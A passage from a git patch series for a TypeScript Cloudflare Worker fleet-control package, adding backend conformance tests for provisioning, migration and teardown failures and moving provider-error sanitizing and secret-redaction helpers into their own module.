rejectedInitial = await provisionReady(rejected, firstSpec); + const initialRecord = structuredClone(rejectedInitial.record); + rejected.world.mutationLog.length = 0; + rejected.world.failNext(operation, { + dispatched: false, + error: new Error(`injected ${operation} sentinel 0001`), + }); + const rejection = await captureFailure( + migrate(rejected, rejectedInitial.record, targetSpec), + ); + const script = rejected.world.scripts.get(targetSpec.scriptName); + const targetDigest = deploymentSpecDigest(targetSpec); + + expect(errorChain(rejection)).toContain( + `injected ${operation} sentinel 0001`, + ); + expect(script?.versions).toHaveLength(2); + expect(script?.versions[0]?.tag).toBe(targetDigest); + expect(rejected.world.mutationLog).toContain( + `upload:${targetSpec.scriptName}`, + ); + expect(rejected.world.mutationLog).not.toContain( + `deploy:${targetSpec.scriptName}`, + ); + expect(rejected.store.record).toMatchObject({ + phase: 'migrating', + pendingSpecDigest: targetDigest, + desiredSpecDigest: deploymentSpecDigest(firstSpec), + artifactVersion: initialRecord.artifactVersion, + schemaVersion: 2, + }); + + if (operation === 'deployCandidate') { + expect(errorChain(rejection)).toContain( + "failed to update existing Worker 'acme-production'", + ); + expect(script?.deployment).toEqual([ + { + versionId: initialRecord.artifactVersion, + percentage: 100, + }, + ]); + expect(rejected.world.mutationLog).not.toContain( + `deploy-candidate:${targetSpec.scriptName}`, + ); + expect(rejected.store.record?.pendingArtifactVersion).toBeUndefined(); + } else { + const candidateVersion = script?.versions[0]?.versionId; + expect(errorChain(rejection)).not.toContain( + 'failed to update existing Worker', + ); + expect(script?.deployment).toEqual([ + { + versionId: initialRecord.artifactVersion, + percentage: 100, + }, + { versionId: candidateVersion, percentage: 0 }, + ]); + expect( + rejected.world.mutationLog.filter( + (entry) => entry === `deploy-candidate:${targetSpec.scriptName}`, + ), + ).toHaveLength(1); + expect( + rejected.world.customDomains.map(({ hostname, service }) => ({ + hostname, + service, + })), + ).toEqual([ + { + hostname: 'acme.example.test', + service: 'acme-production', + }, + ]); + expect(rejected.store.record?.pendingArtifactVersion).toBe( + candidateVersion, + ); + } + } + + const deletion = makeHarness(); + await provisionReady(deletion, spec); + deletion.world.failNext('deleteWorkerScript', { dispatched: true }); + await ignoreFailure( + decommissionDeployment({ + backend: deletion.backend, + store: deletion.store, + spec, + }), + ); + const removed = await decommissionDeployment({ + backend: deletion.backend, + store: deletion.store, + spec, + }); + expect(removed.record.phase).toBe('decommissioned'); + expect(deletion.world.databases).toHaveLength(0); + expect(deletion.world.scripts.get(spec.scriptName)?.present).toBe(false); + }); + + it('12. refuses lease takeover after promotion reads and before the first write', async () => { + const harness = makeHarness(); + const spec = buildPlainWorkerSpec(); + const [version] = seedWorkerFromSpec(harness.world, { spec }); + let domainReadCompleted = false; + harness.world.afterNext('listCustomDomains', () => { + domainReadCompleted = true; + }); + harness.world.mutationLog.length = 0; + const leaseLost = new Error('lease ownership transferred'); + const fence = { + mutationLeaseTtlMs: 15 * 60_000, + assertOwned: async () => { + if (domainReadCompleted) throw leaseLost; + }, + }; + + const failure = await captureFailure( + harness.backend.promoteWorker( + spec, + { allowedCurrentScriptNames: [spec.scriptName], allowUnrouted: true }, + undefined, + fence, + version?.versionId, + ), + ); + + expect(failure).toBe(leaseLost); + expect(domainReadCompleted).toBe(true); + expect(harness.world.customDomains).toEqual([]); + expect(harness.world.mutationLog).toEqual([]); + }); + + it('13. refuses unknown and non-object provider bindings', async () => { + const spec = buildPlainWorkerSpec(); + for (const malformed of [ + { + binding: { type: 'analytics_engine', name: 'AE' }, + sentence: 'has an unsupported or malformed provider binding', + }, + { binding: null, sentence: /binding \d+ is not an object/u }, + ]) { + const harness = makeHarness(); + const [version] = seedWorkerFromSpec(harness.world, { spec }); + const script = harness.world.scripts.get(spec.scriptName); + if (!script || !version) throw new Error('failed to seed Worker'); + harness.world.seedScript(spec.scriptName, { + present: true, + versions: script.versions.map((candidate) => ({ + ...candidate, + bindings: [...candidate.bindings, malformed.binding], + })), + deployment: script.deployment, + subdomain: script.subdomain, + secretNames: new Set(script.secretNames), + }); + + const failure = await captureFailure( + harness.backend.inspect( + spec, + sharedSecrets.maintenanceAdmin, + version.versionId, + ), + ); + expect(errorChain(failure)).toMatch(malformed.sentence); + } + }); + + it('14. resumes every teardown phase and preserves export ordering and integrity', async () => { + const spec = buildPlainWorkerSpec(); + const baseline = makeHarness(); + const ready = await provisionReady(baseline, spec); + const teardownPhases: FleetRecord['phase'][] = [ + 'decommissioning', + 'traffic-removed', + 'credentials-revoked', + 'worker-deleted', + 'platform-credentials-revoked', + 'platform-resources-deleted', + 'application-resources-deleting', + 'application-resources-deleted', + 'database-exported', + 'database-deleting', + 'decommissioned', + ]; + + for (const phase of teardownPhases) { + const harness = makeHarness(baseline.world.clone()); + harness.store.record = structuredClone(ready.record); + harness.world.mutationLog.length = 0; + harness.store.failPutPhase = phase; + const sourceBytes = harness.world.exports.get(ready.record.databaseId); + if (!sourceBytes) + throw new Error('seeded database has no export bytes'); + const expectedBytes = new Uint8Array(sourceBytes); + + await expect( + decommissionDeployment({ + backend: harness.backend, + store: harness.store, + spec, + }), + ).rejects.toThrow(`failed state write at ${phase}`); + const result = await decommissionDeployment({ + backend: harness.backend, + store: harness.store, + spec, + }); + + const exportIndex = harness.world.mutationLog.indexOf( + `export:${ready.record.databaseId}`, + ); + const deleteIndex = harness.world.mutationLog.indexOf( + `delete-database:${ready.record.databaseId}`, + ); + expect(exportIndex).toBeGreaterThanOrEqual(0); + expect(deleteIndex).toBeGreaterThan(exportIndex); + expect(result.databaseExport).toMatchObject({ + databaseId: ready.record.databaseId, + size: expectedBytes.byteLength, + sha256: createHash('sha256').update(expectedBytes).digest('hex'), + }); + expect( + harness.exportStore.exports.get(ready.record.databaseId)?.bytes, + ).toEqual(expectedBytes); + } + + const exportFailure = makeHarness(baseline.world.clone()); + exportFailure.store.record = structuredClone(ready.record); + exportFailure.world.mutationLog.length = 0; + exportFailure.world.failNext('exportDatabase', { + dispatched: false, + }); + const exportRejection = await captureFailure( + decommissionDeployment({ + backend: exportFailure.backend, + store: exportFailure.store, + spec, + }), + ); + expect(exportRejection).toBeInstanceOf(Error); + // This is a regression guard because the row injects no state-write failure. + expect(errorChain(exportRejection)).not.toContain('failed state write'); + expect( + exportFailure.exportStore.exports.has(ready.record.databaseId), + ).toBe(false); + expect(exportFailure.world.mutationLog).not.toContain( + `delete-database:${ready.record.databaseId}`, + ); + + const integrityFailure = makeHarness(baseline.world.clone()); + integrityFailure.store.record = structuredClone(ready.record); + integrityFailure.world.mutationLog.length = 0; + integrityFailure.world.exports.set( + ready.record.databaseId, + new Uint8Array(), + ); + const integrityRejection = await captureFailure( + decommissionDeployment({ + backend: integrityFailure.backend, + store: integrityFailure.store, + spec, + }), + ); + expect(errorChain(integrityRejection)).not.toContain( + 'failed state write', + ); + expect(integrityFailure.world.mutationLog).toContain( + `export:${ready.record.databaseId}`, + ); + expect(integrityFailure.world.mutationLog).not.toContain( + `delete-database:${ready.record.databaseId}`, + ); + expect(integrityFailure.store.record?.phase).not.toBe('decommissioned'); + // Eleven teardown phases each run a failed and a resumed decommission. + }, 15_000); + + it('15. force-decommissions a deployment wedged after traffic removal', async () => { + const harness = makeHarness(); + const spec = buildPlainWorkerSpec(); + const ready = await provisionReady(harness, spec); + harness.store.record = { + ...ready.record, + phase: 'migrating', + pendingSpecDigest: 'f'.repeat(64), + }; + harness.store.failPutPhase = 'traffic-removed'; + + await expect( + forceDecommissionDeployment({ + backend: harness.backend, + store: harness.store, + tenantTag: spec.tenantTag, + environment: spec.environment, + }), + ).rejects.toThrow('failed state write at traffic-removed'); + expect(harness.store.record?.phase).toBe('decommissioning'); + + await expect( + forceDecommissionDeployment({ + backend: harness.backend, + store: harness.store, + tenantTag: spec.tenantTag, + environment: spec.environment, + }), + ).resolves.toBeUndefined(); + expect(harness.store.record).toBeUndefined(); + expect(harness.world.databases).toEqual([]); + expect(harness.world.customDomains).toEqual([]); + expect(harness.world.scripts.get(spec.scriptName)?.subdomain).toEqual({ + enabled: false, + previewsEnabled: false, + }); + expect(harness.world.scripts.get(spec.scriptName)?.secretNames.size).toBe( + 0, + ); + }); + + it('16. refuses every positive residual before database deletion', async () => { + const spec = buildPlainWorkerSpec(); + const baseline = makeHarness(); + const ready = await provisionReady(baseline, spec); + + for (const residual of [ + 'domain', + 'zone-route', + 'namespace', + 'attachment', + ]) { + const harness = makeHarness(baseline.world.clone()); + harness.store.record = structuredClone(ready.record); + clearWorker(harness.world, spec.scriptName); + if (residual === 'domain') { + harness.world.customDomains.push({ + id: 'residual-domain', + hostname: spec.routeHostname, + service: 'foreign-worker', + }); + } else if (residual === 'zone-route') { + harness.world.zones.push({ id: 'zone-1' }); + harness.world.routes.push({ + zoneId: 'zone-1', + id: 'residual-route', + pattern: `${spec.routeHostname}/*`, + script: spec.scriptName, + }); + } else if (residual === 'namespace') { + harness.world.durableObjectNamespaces.push({ + id: 'residual-namespace', + script: spec.scriptName, + className: 'Maintenance', + }); + } else { + harness.world.dispatchNamespaces.push({ + name: 'foreign-dispatch', + scripts: [ + { + name: 'foreign-worker', + bindings: [ + { + type: 'd1', + name: 'DB', + database_id: ready.record.databaseId, + }, + ], + }, + ], + }); + } + const database = harness.world.databases.find( + ({ databaseId }) => databaseId === ready.record.databaseId, + ); + if (!database) throw new Error('ready database disappeared'); + const failure = await captureFailure( + harness.backend.assertDatabaseDetached( + spec, + ready.record, + databaseReference(database), + ownedFence, + ), + ); + expect(failure).toBeInstanceOf(Error); + expect(errorChain(failure)).toMatch( + residual === 'attachment' + ? /remains attached to dispatch Worker 'foreign-worker'/u + : /residual route or Durable Object namespace footprint/u, + ); + } + + const residualSecret = makeHarness(baseline.world.clone()); + residualSecret.store.record = structuredClone(ready.record); + residualSecret.world.afterNext('deleteControlSecrets', (world) => { + world.scripts + .get(spec.scriptName) + ?.secretNames.add('DEPLOYMENT_IDENTITY_SECRET'); + }); + const failure = await captureFailure( + decommissionDeployment({ + backend: residualSecret.backend, + store: residualSecret.store, + spec, + }), + ); + expect(errorChain(failure)).toContain('failed exact secret revocation'); + expect(residualSecret.world.databases).toHaveLength(1); + }); + }); +} diff --git a/packages/fleet-control/test/plain-worker-conformance.direct.test.ts b/packages/fleet-control/test/plain-worker-conformance.direct.test.ts new file mode 100644 index 00000000..5de34ddb --- /dev/null +++ b/packages/fleet-control/test/plain-worker-conformance.direct.test.ts @@ -0,0 +1,151 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { afterEach, describe, expect, it } from 'vitest'; +import { provisionDeployment } from '../src/provision.js'; +import { + assertHarnessFailuresConsumed, + buildPlainWorkerSpec, + captureFailure, + causeChain, + directHarness, + errorChain, + hostileCauseProxy, + initialSpec, + malformedErrorsBody, + migrationSpec, + routeAttestation, + sharedSecrets, + throwingConstructorError, +} from './fixtures/plain-worker-harnesses.js'; +import type { ProviderFailure } from './fixtures/provider-world.js'; +import { describePlainWorkerConformance } from './plain-worker-backend-conformance.js'; + +afterEach(assertHarnessFailuresConsumed); + +// The direct harness creates no Wrangler scratch directory or fs mock state. +describePlainWorkerConformance('direct Cloudflare API', directHarness); + +it('settles an initial upload failure at the REST script request when selected', async () => { + const harness = directHarness(); + const spec = buildPlainWorkerSpec(); + harness.world.failNext('uploadCandidate', { + dispatched: true, + at: 'script', + }); + + const rejection = await captureFailure( + provisionDeployment({ + backend: harness.backend, + store: harness.store, + spec, + secrets: sharedSecrets, + initialExecutionFenceState: 'open', + clock: () => 1_000, + routeAttestation, + }), + ); + + expect(errorChain(rejection)).toContain( + `reconciled Worker upload for '${spec.scriptName}' did not converge public access`, + ); +}); + +async function stagedUploadFailure(failure: ProviderFailure) { + const harness = directHarness(); + const currentSpec = initialSpec(); + const targetSpec = migrationSpec(); + const ready = await provisionDeployment({ + backend: harness.backend, + store: harness.store, + spec: currentSpec, + secrets: sharedSecrets, + initialExecutionFenceState: 'open', + clock: () => 1_000, + routeAttestation, + }); + const database = harness.world.databases.find( + ({ databaseId }) => databaseId === ready.record.databaseId, + ); + if (!database) throw new Error('ready database disappeared'); + harness.world.failNext('uploadCandidate', failure); + const rejection = await captureFailure( + harness.backend.deployWorker( + targetSpec, + { id: database.databaseId, name: database.name, created: false }, + sharedSecrets, + undefined, + { + mutationLeaseTtlMs: 15 * 60_000, + assertOwned: async () => {}, + }, + undefined, + ), + ); + return { rejection, harness }; +} + +describe('sanitizer boundary through the shared fixtures', () => { + // This wrapper-local suite is outside the shared body, so rejection-shape + // assertions do not constrain the cross-backend conformance contract. + it('redacts secret-bearing errors and rebuilds their cause chain', async () => { + const injected = throwingConstructorError(sharedSecrets.deploymentIdentity); + const { rejection } = await stagedUploadFailure({ + dispatched: true, + duplicate: true, + error: injected, + }); + const serialized = `${JSON.stringify(rejection)} ${errorChain(rejection)}`; + + expect(serialized).not.toContain(sharedSecrets.deploymentIdentity); + expect(serialized).not.toContain(sharedSecrets.maintenanceAdmin); + expect(causeChain(rejection).some((cause) => cause === injected)).toBe( + false, + ); + for (const cause of causeChain(rejection)) { + if (!(cause instanceof Error)) continue; + expect(cause.name).toMatch(/^(?:[A-Za-z][A-Za-z0-9]*Error|unknown)$/u); + } + }); + + it('drops a hostile proxy carried as an error cause', async () => { + const proxy = hostileCauseProxy(); + const { rejection } = await stagedUploadFailure({ + dispatched: true, + duplicate: true, + error: new Error('hostile cause carrier', { cause: proxy }), + }); + + expect(rejection).toBeInstanceOf(Error); + expect(causeChain(rejection).some((cause) => cause === proxy)).toBe(false); + }); + + it('normalizes a malformed provider errors body', async () => { + const { rejection } = await stagedUploadFailure({ + dispatched: true, + duplicate: true, + response: malformedErrorsBody(), + }); + const providerError = causeChain(rejection).find( + (cause) => + cause instanceof Error && Array.isArray(Reflect.get(cause, 'errors')), + ); + + expect(providerError).toBeDefined(); + expect(Reflect.get(providerError as object, 'errors')).toEqual([]); + expect(errorChain(rejection)).not.toContain('not an array'); + }); + + it('surfaces the SDK timeout as one constant cause level', async () => { + const { rejection } = await stagedUploadFailure({ + dispatched: true, + duplicate: true, + error: new Error('transport timed out'), + }); + const chain = errorChain(rejection); + + // The SDK classifies timeout text in client.mjs:386-388 and constructs + // APIConnectionTimeoutError without a cause in core/error.mjs:81-85. + expect(chain.match(/Request timed out\./gu)).toHaveLength(1); + expect(chain).not.toContain('transport timed out'); + }); +}); diff --git a/packages/fleet-control/test/plain-worker-conformance.wrangler.test.ts b/packages/fleet-control/test/plain-worker-conformance.wrangler.test.ts new file mode 100644 index 00000000..90b67227 --- /dev/null +++ b/packages/fleet-control/test/plain-worker-conformance.wrangler.test.ts @@ -0,0 +1,156 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { afterEach, describe, expect, it, vi } from 'vitest'; +import { CloudflareApiPlainWorkerProvisioningApi } from '../src/cloudflare-api-plain-worker-provisioning-api.js'; +import { deploymentSpecDigest } from '../src/spec-digest.js'; +import { WranglerPlainWorkerProvisioningApi } from '../src/wrangler-plain-worker-provisioning-api.js'; +import { + recordingFetch, + restProjection, +} from './fixtures/cloudflare-fetch-fixture.js'; +import { + assertHarnessFailuresConsumed, + buildPlainWorkerSpec, + HarnessExportStore, + initialSpec, + migrationSpec, + plainOnlyClient, + seedWorkerFromSpec, + sharedSecrets, + uploadIntentForSpec, + wranglerHarness, +} from './fixtures/plain-worker-harnesses.js'; +import { mutationFence } from './fixtures/plain-worker-port-probe.js'; +import type { ProviderWorld } from './fixtures/provider-world.js'; +import { providerWorld } from './fixtures/provider-world.js'; +import { + type PlainWorkerFsControl, + registerScratchCleanup, +} from './fixtures/wrangler-fs-mock.js'; +import { cliProjection } from './fixtures/wrangler-world-projection.js'; +import { describePlainWorkerConformance } from './plain-worker-backend-conformance.js'; + +const fsControl = vi.hoisted(() => ({ + failFleetCleanup: false, + residualDirectory: undefined, + cleanupError: new Error('conformance upload cleanup failed'), +})); + +vi.mock('node:fs/promises', async () => { + const { createFsPromisesMock } = await import( + './fixtures/wrangler-fs-mock.js' + ); + return createFsPromisesMock(fsControl); +}); + +const exportDirectories = registerScratchCleanup(fsControl, { + cleanupError: fsControl.cleanupError, +}); + +afterEach(assertHarnessFailuresConsumed); + +describePlainWorkerConformance('Wrangler loop', (world?: ProviderWorld) => { + const harness = wranglerHarness(world); + exportDirectories.add(harness.exportDirectory); + return harness; +}); + +describe('provider projection equivalence', () => { + it('writes identical raw bindings for one shared upload intent', async () => { + const cliWorld = providerWorld(); + const restWorld = providerWorld(); + const exportStore = new HarnessExportStore(); + const exportDirectory = 'fleet-conformance-export-unused'; + const cliFetch = recordingFetch(restProjection(cliWorld)); + const restFetch = recordingFetch(restProjection(restWorld)); + const cliApi = new WranglerPlainWorkerProvisioningApi({ + runner: cliProjection(cliWorld), + routeApi: plainOnlyClient(cliFetch, exportStore), + exportDirectory, + exportStore, + }); + const restApi = new CloudflareApiPlainWorkerProvisioningApi({ + client: plainOnlyClient(restFetch, exportStore), + }); + const intent = uploadIntentForSpec( + buildPlainWorkerSpec(), + 'database-1', + 'initial', + ); + const fence = mutationFence(); + + await expect(cliApi.uploadCandidate(intent, fence)).resolves.toMatchObject({ + status: 'succeeded', + }); + await expect(restApi.uploadCandidate(intent, fence)).resolves.toMatchObject( + { status: 'succeeded' }, + ); + + expect( + cliWorld.scripts.get(intent.scriptName)?.versions[0]?.bindings, + ).toEqual(restWorld.scripts.get(intent.scriptName)?.versions[0]?.bindings); + }); + + it('does not apply public-access config during a staged upload', async () => { + const world = providerWorld(); + const currentSpec = initialSpec(); + const targetSpec = migrationSpec(); + seedWorkerFromSpec(world, { spec: currentSpec }); + const script = world.scripts.get(currentSpec.scriptName); + const database = world.databases.find( + ({ name }) => name === currentSpec.databaseName, + ); + if (!script || !database) + throw new Error('ready Worker seed is incomplete'); + script.subdomain = { enabled: false, previewsEnabled: false }; + const harness = wranglerHarness(world); + exportDirectories.add(harness.exportDirectory); + + await harness.backend.deployWorker( + targetSpec, + { id: database.databaseId, name: database.name, created: false }, + sharedSecrets, + undefined, + mutationFence(), + undefined, + ); + + expect(script.subdomain).toEqual({ + enabled: false, + previewsEnabled: false, + }); + }); + + it('serves maintenance only from the exact control origin', async () => { + const world = providerWorld(); + const spec = buildPlainWorkerSpec(); + seedWorkerFromSpec(world, { spec }); + world.customDomains.push({ + id: 'domain-1', + hostname: spec.routeHostname, + service: spec.scriptName, + }); + const projected = restProjection(world); + + const exact = await projected({ + method: 'GET', + url: `${world.maintenanceOrigin}/admin/maintenance-status`, + body: undefined, + headers: new Headers(), + redirect: undefined, + }); + const decoy = await projected({ + method: 'GET', + url: `${world.routeOrigin}/admin/maintenance-status`, + body: undefined, + headers: new Headers(), + redirect: undefined, + }); + + expect(exact.status).toBe(200); + await expect(exact.json()).resolves.toMatchObject({ + deploymentSpecDigest: deploymentSpecDigest(spec), + }); + expect(decoy.status).toBe(403); + }); +}); diff --git a/packages/fleet-control/test/provision.test.ts b/packages/fleet-control/test/provision.test.ts index 275a54c2..e5c935b0 100644 --- a/packages/fleet-control/test/provision.test.ts +++ b/packages/fleet-control/test/provision.test.ts @@ -711,7 +711,7 @@ class R2RollbackBackend extends FakeBackend { } } -async function j1Harness(deployment: DeploymentSpec) { +async function wranglerLoopHarness(deployment: DeploymentSpec) { const digest = deploymentSpecDigest(deployment); const state = { databaseExists: false, @@ -929,9 +929,7 @@ async function j1Harness(deployment: DeploymentSpec) { }, }); - const exportDirectory = await mkdtemp( - join(tmpdir(), 'provision-b1b-export-'), - ); + const exportDirectory = await mkdtemp(join(tmpdir(), 'provision-export-')); exportDirectories.add(exportDirectory); const backend = new WranglerLoopBackend({ runner, @@ -3256,7 +3254,8 @@ describe('fleet provisioning', () => { const deployment = spec({ egressProxyService: undefined, }); - const { backend, store, runnerCalls, state } = await j1Harness(deployment); + const { backend, store, runnerCalls, state } = + await wranglerLoopHarness(deployment); fsControl.failFleetCleanup = true; const failure = await provisionDeployment({ @@ -3285,7 +3284,8 @@ describe('fleet provisioning', () => { const deployment = spec({ egressProxyService: undefined, }); - const { backend, store, runnerCalls, state } = await j1Harness(deployment); + const { backend, store, runnerCalls, state } = + await wranglerLoopHarness(deployment); state.workerExists = true; state.preexistingVersion = true; state.publicAccessEnabled = true; diff --git a/packages/fleet-control/test/wrangler-loop-backend.test.ts b/packages/fleet-control/test/wrangler-loop-backend.test.ts index 7c6c4cd7..b2fad686 100644 --- a/packages/fleet-control/test/wrangler-loop-backend.test.ts +++ b/packages/fleet-control/test/wrangler-loop-backend.test.ts @@ -9,6 +9,7 @@ import { describe, expect, it, vi } from 'vitest'; import { ActiveRouteAttestationError } from '../src/active-route.js'; import type { DurableDatabaseExportStore } from '../src/cloudflare-client.js'; import { WorkerDeploymentError } from '../src/deployment-error.js'; +import { plainWorkerIngressModule } from '../src/plain-worker-backend.js'; import { deploymentSpecDigest } from '../src/spec-digest.js'; import type { DatabaseReference, @@ -20,10 +21,7 @@ import type { PlainWorkerCustomDomain, PlainWorkerRouteApi, } from '../src/types.js'; -import { - plainWorkerIngressModule, - WranglerLoopBackend, -} from '../src/wrangler-loop-backend.js'; +import { WranglerLoopBackend } from '../src/wrangler-loop-backend.js'; import type { CommandResult, CommandRunner } from '../src/wrangler-runner.js'; const deployment: DeploymentSpec = { From b1fba201bd797c7526e43a0d9973f78d3bce406c Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 27 Aug 2026 23:16:57 +0400 Subject: [PATCH 005/169] refactor(fleet-control): extract the Cloudflare provider-error boundary Eight module-level symbols move verbatim out of cloudflare-client.ts into the new src/cloudflare-provider-errors.ts: the sanitizer chain (MAX_SANITIZED_ERROR_CAUSE_DEPTH, redactSecretValues, readErrorFieldSafely, isErrorSafely, sanitizedErrorName, sanitizedErrorCause, sanitizeProviderError) and the isNotFound predicate. Bodies and comments are byte-identical; only `export` is added, and the call sites are unchanged. The new module imports APIConnectionError and APIError from 'cloudflare' and readField from './provider-binding-inventory.js', and nothing from cloudflare-client.ts, so the dependency runs one way. cloudflare-client.ts now imports sanitizeProviderError for the upload dispatch, readErrorFieldSafely and sanitizedErrorName for the D1 export failure path, and isNotFound for its 24 call sites; its 'cloudflare' import keeps only the default Cloudflare. readField stays with three remaining uses. No behavior, public API, or emitted declaration change: dist/index.d.ts and dist/cloudflare-client.d.ts are byte-identical to the pre-move build, so no changeset accompanies this commit. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01XyG1jJCrVSWfVQ3Zab15Rd --- .../fleet-control/src/cloudflare-client.ts | 157 +---------------- .../src/cloudflare-provider-errors.ts | 161 ++++++++++++++++++ 2 files changed, 168 insertions(+), 150 deletions(-) create mode 100644 packages/fleet-control/src/cloudflare-provider-errors.ts diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index 61d49467..d28ee78d 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -2,7 +2,7 @@ import { AsyncLocalStorage } from 'node:async_hooks'; import { createHash } from 'node:crypto'; -import Cloudflare, { APIConnectionError, APIError } from 'cloudflare'; +import Cloudflare from 'cloudflare'; import type { ScriptUpdateParams } from 'cloudflare/resources/workers/scripts/scripts'; import type { VersionCreateParams } from 'cloudflare/resources/workers/scripts/versions'; import type { NamespaceListResponse } from 'cloudflare/resources/workers-for-platforms/dispatch/namespaces/namespaces'; @@ -10,6 +10,12 @@ import { toFile } from 'cloudflare/uploads'; import PQueue from 'p-queue'; import { ActiveRouteAttestationError } from './active-route.js'; import { canonicalApplicationBindings } from './application-bindings.js'; +import { + isNotFound, + readErrorFieldSafely, + sanitizedErrorName, + sanitizeProviderError, +} from './cloudflare-provider-errors.js'; import type { CloudflareApiRateCoordinator } from './cloudflare-rate-coordinator.js'; import { type HostRoutingTarget, @@ -63,7 +69,6 @@ const SDK_TRANSPORT_TIMEOUT_MS = 2_147_483_647; const DEFAULT_INVENTORY_BOUND = 10_000; const MAX_DATABASE_INVENTORY = 25_000; const MAX_VERSION_INVENTORY = 5_000; -const MAX_SANITIZED_ERROR_CAUSE_DEPTH = 8; export interface CloudflareClientOptions { readonly accountId: string; @@ -298,145 +303,6 @@ function readWorkerVersionTag(version: unknown): string | undefined { return readStringField(readField(version, 'annotations'), 'workers/tag'); } -function redactSecretValues( - value: string, - secretValues: readonly string[], -): string { - return secretValues.reduce( - (redacted, secret) => - secret.length > 0 ? redacted.split(secret).join('[redacted]') : redacted, - value, - ); -} - -function readErrorFieldSafely( - value: unknown, - key: 'cause' | 'constructor' | 'message' | 'name' | 'status', -): unknown { - // A consumer-injected rejection can still be instanceof Error with doctored - // or throwing fields; the redaction boundaries must not throw while reading. - try { - return Reflect.get(value as object, key); - } catch { - return undefined; - } -} - -function isErrorSafely(value: unknown): value is Error { - // For object values, `value instanceof Error` walks [[GetPrototypeOf]]; a - // Proxy trap or revoked Proxy can throw and replace the sanitized failure, - // so every Error check on the foreign cause graph uses this predicate. - try { - return value instanceof Error; - } catch { - return false; - } -} - -function sanitizedErrorName(error: unknown): string { - const name = readErrorFieldSafely(error, 'name'); - const directName = typeof name === 'string' ? name : undefined; - const nameFromConstructor = readErrorFieldSafely( - isErrorSafely(error) - ? readErrorFieldSafely(error, 'constructor') - : undefined, - 'name', - ); - const constructorName = - typeof nameFromConstructor === 'string' ? nameFromConstructor : undefined; - const candidate = - directName && directName !== 'Error' - ? directName - : (constructorName ?? directName); - return candidate && /^[A-Za-z][A-Za-z0-9]*Error$/.test(candidate) - ? candidate - : 'unknown'; -} - -function sanitizedErrorCause( - error: Error, - secretValues: readonly string[], - depth = 0, - seen = new WeakMap(), -): Error { - // This boundary never throws on the values it receives: cycles, depth, - // non-string messages, throwing accessors, and hostile prototypes all - // degrade to safe values. Fresh Errors copy safe values. - const name = sanitizedErrorName(error); - seen.set(error, name); - const cause = readErrorFieldSafely(error, 'cause'); - const message = readErrorFieldSafely(error, 'message'); - let sanitizedCause: Error | { name: string } | undefined; - if (isErrorSafely(cause)) { - const memoized = seen.get(cause); - sanitizedCause = - memoized !== undefined - ? { name: memoized } - : depth + 1 >= MAX_SANITIZED_ERROR_CAUSE_DEPTH - ? { name: sanitizedErrorName(cause) } - : sanitizedErrorCause(cause, secretValues, depth + 1, seen); - } - const sanitized = new Error( - typeof message === 'string' - ? redactSecretValues(message, secretValues) - : '', - sanitizedCause === undefined ? undefined : { cause: sanitizedCause }, - ); - sanitized.name = name; - return sanitized; -} - -function sanitizeProviderError( - error: unknown, - secretValues: readonly string[], -): unknown { - // Wrapped paths supply an SDK-constructed operand. A value that escapes when - // the SDK itself throws on the rejection before wrapping it (castToError's - // instanceof, internal/errors.mjs:11; the String()/in coercions at - // client.mjs:389-390) is outside this boundary's no-throw promise. - if (!(error instanceof APIError)) return error; - const sanitized = new Error('Cloudflare Worker upload failed'); - sanitized.name = 'CloudflareProviderError'; - Object.defineProperties(sanitized, { - status: { enumerable: true, value: error.status }, - errors: { - enumerable: true, - value: (Array.isArray(error.errors) ? error.errors : []).flatMap( - (entry) => { - if (!entry || typeof entry !== 'object') return []; - const code = readField(entry, 'code'); - const message = readField(entry, 'message'); - return [ - { - ...(typeof code === 'number' || typeof code === 'string' - ? { code } - : {}), - ...(typeof message === 'string' - ? { message: redactSecretValues(message, secretValues) } - : {}), - }, - ]; - }, - ), - }, - cause: { - enumerable: false, - // APIConnectionError keeps a cause chain because, for a rejected fetch, - // that chain is the fence or transport failure the adapter classifies - // through. The SDK drops the underlying error on its timeout arm - // (APIConnectionTimeoutError is constructed without a cause, - // core/error.mjs:81-85), so that chain is one constant level. Every other - // APIError (a provider response or the SDK's own abort error) collapses - // to { name }. - value: - error instanceof APIConnectionError - ? sanitizedErrorCause(error, secretValues) - : { name: sanitizedErrorName(error) }, - }, - }); - return sanitized; -} - function inventoryBoundExceeded(label: string, max: number): Error { return new Error( `${label} exceeded the supported inventory bound of ${max} items`, @@ -548,15 +414,6 @@ function assertAccountWideZoneToken(options: { } } -function isNotFound(error: unknown): boolean { - return Boolean( - error && - typeof error === 'object' && - 'status' in error && - error.status === 404, - ); -} - function d1RestParameters( bindings: readonly string[], operation: string, diff --git a/packages/fleet-control/src/cloudflare-provider-errors.ts b/packages/fleet-control/src/cloudflare-provider-errors.ts new file mode 100644 index 00000000..f6e0d30e --- /dev/null +++ b/packages/fleet-control/src/cloudflare-provider-errors.ts @@ -0,0 +1,161 @@ +// SPDX-License-Identifier: Apache-2.0 + +// This module holds safe-read and secret-redaction helpers for Cloudflare SDK +// errors, and the shared isNotFound predicate. +// Its two sanitizer consumers use different members: ordinary-Worker upload +// dispatch calls sanitizeProviderError, while D1 export calls +// readErrorFieldSafely and sanitizedErrorName; isNotFound is shared by the +// client's control, WFP, and ordinary-Worker paths. + +import { APIConnectionError, APIError } from 'cloudflare'; +import { readField } from './provider-binding-inventory.js'; + +export const MAX_SANITIZED_ERROR_CAUSE_DEPTH = 8; + +export function redactSecretValues( + value: string, + secretValues: readonly string[], +): string { + return secretValues.reduce( + (redacted, secret) => + secret.length > 0 ? redacted.split(secret).join('[redacted]') : redacted, + value, + ); +} + +export function readErrorFieldSafely( + value: unknown, + key: 'cause' | 'constructor' | 'message' | 'name' | 'status', +): unknown { + // A consumer-injected rejection can still be instanceof Error with doctored + // or throwing fields; the redaction boundaries must not throw while reading. + try { + return Reflect.get(value as object, key); + } catch { + return undefined; + } +} + +export function isErrorSafely(value: unknown): value is Error { + // For object values, `value instanceof Error` walks [[GetPrototypeOf]]; a + // Proxy trap or revoked Proxy can throw and replace the sanitized failure, + // so every Error check on the foreign cause graph uses this predicate. + try { + return value instanceof Error; + } catch { + return false; + } +} + +export function sanitizedErrorName(error: unknown): string { + const name = 